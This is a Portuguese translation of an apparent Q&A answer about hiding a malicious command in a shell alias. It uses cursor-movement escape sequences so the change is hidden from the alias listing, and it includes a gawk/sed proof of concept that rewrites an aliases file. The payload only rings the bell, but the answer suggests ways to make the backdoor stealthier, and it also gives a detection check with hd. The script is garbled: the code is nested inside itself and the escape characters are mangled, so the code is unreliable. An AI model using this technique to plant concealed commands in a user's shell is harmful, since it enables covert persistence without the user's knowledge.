É possível fazer isso anexando o alias existente ao malicioso e usando o movimento do cursor para ocultá-lo, se o comando alias
for usado para exibir definições de alias. Não é um método perfeitamente infalível, mas pode passar despercebido por um tempo. Piping alias
a hd
mostrará se existem sequências de escape (movimento do cursor) nos seus aliases. Aqui está uma prova de conceito de como um comando malicioso pode ser inserido em um alias:
alias | gawk 'BEGIN {
FS = "[ =7]"
db = "\"; sp = db " "; amp = db "&"
sq= "7"; bell = "alias | gawk 'BEGIN {
FS = "[ =7]"
db = "\"; sp = db " "; amp = db "&"
sq= "7"; bell = "%pre%7"; esc = "3"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
7"; esc = "3"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
- O comando
sed
modifica um arquivo chamado "aliases" no lugar - um script real desse tipo iria para a garganta e modificaria um arquivo de script real para que o alias malicioso fosse ativado na próxima vez que fosse executado. - A parte maliciosa desse exemplo apenas toca a campainha do terminal para que você saiba que está funcionando.
- O comando que é originalmente alias será executado com o conteúdo de
hide
como argumento, então é concebível que você possa obter um erro similar ao reportado no esta questão . Pode ser possível reverter as partes originais e maliciosas para afetá-la, embora isso interfira nos argumentos fornecidos ao alias. Uma tentativa é feita no script acima para marcar o final dos argumentos com--
. - Em vez de encadear as partes originais e mal-intencionadas com
&&
, você poderia enviar um para o próximo e fazer com que o script mal-intencionado (representado acima pelo simples comandoecho
) funcionasse comostdin
tostdout
pass por meio de modificar os dados conforme eles estão passando ou de ocultar sua existência por não interferir com outro redirecionamento - Outra possibilidade seria incluir o alias original dentro do script malicioso, que poderia remover a string de movimento do cursor da lista de argumentos e passar o restante para o original.
- Eu escolhi arbitrariamente os registros 3 e 4, um código mais inteligente poderia ter como alvo aliases específicos, mas eles precisam ser adjacentes (ou o movimento do cursor pode se tornar mais complexo).
- A string
hide
pode ser modificada para incluir movimento de cursor diferente e o texto do alias original para que o comandoalias
apareça para mostrar o alias não modificado em vez de ocultá-lo junto com a parte maliciosa. - Para testá-lo como está escrito, você precisa ter pelo menos quatro aliases ativos, executar esse script e, em seguida, fornecer o arquivo resultante com
. aliases
. Em seguida, você pode tentar usar o alias afetado e ver como ele fica quando você executaalias|hd
. - Isso poderia, sem dúvida, ser reescrito de cem maneiras diferentes - tudo melhor.
- Quão realista é esse tipo de ameaça? Eu não tenho a menor ideia. Mas se eu puder fazer isso ...